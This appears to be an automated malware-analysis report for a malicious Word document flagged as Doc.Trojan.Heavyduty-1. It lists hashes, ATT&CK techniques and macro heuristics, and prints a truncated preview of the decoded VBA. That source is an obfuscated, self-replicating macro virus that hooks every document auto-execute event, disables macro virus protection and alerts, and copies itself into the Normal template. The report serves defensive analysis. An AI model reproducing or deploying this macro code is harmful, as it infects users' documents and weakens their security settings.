Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3976031d90951cd…

MALICIOUS

Office (OLE)

34.0 KB Created: 2003-08-15 18:34:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 0451ab1e68c60633fda07bb94a79878d SHA-1: b191d51da877f3c19f6b3ef807d79f6124f7af0a SHA-256: f3976031d90951cd04f0e354dcffa4bada232bd517a00b5ea859b0bed9581fc9
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains multiple VBA macro auto-execution triggers (AUTOOPEN, Document_Open) and a critical ClamAV detection for 'Doc.Trojan.Heavyduty-1'. The VBA script contains obfuscated code and attempts to manipulate application options, indicative of a downloader or dropper. The primary intent appears to be executing a malicious payload via VBA macros, a common technique for initial access via spearphishing attachments.

Heuristics 6

  • ClamAV: Doc.Trojan.Heavyduty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Heavyduty-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5275 bytes
SHA-256: c87e3467d34e75485d6a6e26d2e7d138bb1fd19f1e8f19ca4de1120dc7ede2a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub AUTOOPEN(): Call VLAM: End Sub
Private Sub AUTOCLOSE(): Call VLAM: End Sub
Private Sub AUTOEXEC(): Call VLAM: End Sub
Private Sub AUTOEXIT(): Call VLAM: End Sub
Private Sub AUTOSAVE(): Call VLAM: End Sub
Private Sub AUTONEW(): Call VLAM: End Sub
Private Sub DOCUMENT_OPEN(): Call VLAM: End Sub
Private Sub DOCUMENT_SAVE(): Call VLAM: End Sub
Private Sub DOCUMENT_CLOSE(): Call VLAM: End Sub
Private Sub DOCUMENT_NEW(): Call VLAM: End Sub
Private Sub FILEOPEN(): Call VLAM: End Sub
Private Sub FILESAVE(): Call VLAM: End Sub
Private Sub FILECLOSE(): Call VLAM: End Sub
Private Sub FILENEW(): Call VLAM: End Sub
Private Function T(STR)
For I = Asc(Mid(UCase(UCase(UCase(UCase("KKKK")))), Int(Rnd * 3) + Fix(Fix(Fix(1))), Int(1))) - 74 To Len(STR)
P = P & Chr(Asc(Mid(STR, I, Fix(Fix(Fix(1))))) Xor Int(Int(Int(Int(Int(3))))))
Next
T = P
End Function
Private Sub VLAM()
On Error Resume Next
DECLARATIONS:
Set APP = Application.Options.Application.Options.Application
Set OPT = Options.Application.Options.Application.Options
Set ST1 = APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.VirusProtection
Set ST2 = APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SaveNormalPrompt
Set ST3 = OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayAlerts
Set ST4 = OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.EnableCancelKey
Set ST5 = OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayStatusBar
Set ST6 = OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.ShowVisualBasicEditor
Set SMA = APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SendMailAttach
Set N = NormalTemplate
Set NV = N.VBProject
Set NVV = NV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(74))))))
Set NVVC = NVV.CODEMODULE
Set A = ActiveDocument
Set AV = A.VBProject
Set AVV = AV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(74))))))
Set AVVC = AVV.CODEMODULE
Set D = ThisDocument
Set DV = D.VBProject
Set DVV = DV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(74))))))
Set DVVC = DVV.CODEMODULE
Set NORN = NVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(74))))))
Set DOCN = AVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(74))))))
SMA = Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(74)))))
MYCODE = UCase(UCase(UCase(UCase(DVVC.LINES((Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Rnd * 3) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(74)))))), 140)))))
NAAM = UCase(UCase(UCase("VLAM")))
ST1 = Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(75)))))
ST2 = Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(75)))))
ST3 = wdAlertsNone
ST4 = Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))))) - Int(Int(Int(Int(Int(75)))))
ST5 = Asc(Mid(UCase(UCase(UCase(T("HHHH")))), Int(Int(Int(Int(Rnd * 3)))) + Fix(Fix(Fix(1))), Fix(Fix(Fix(1))
... (truncated)

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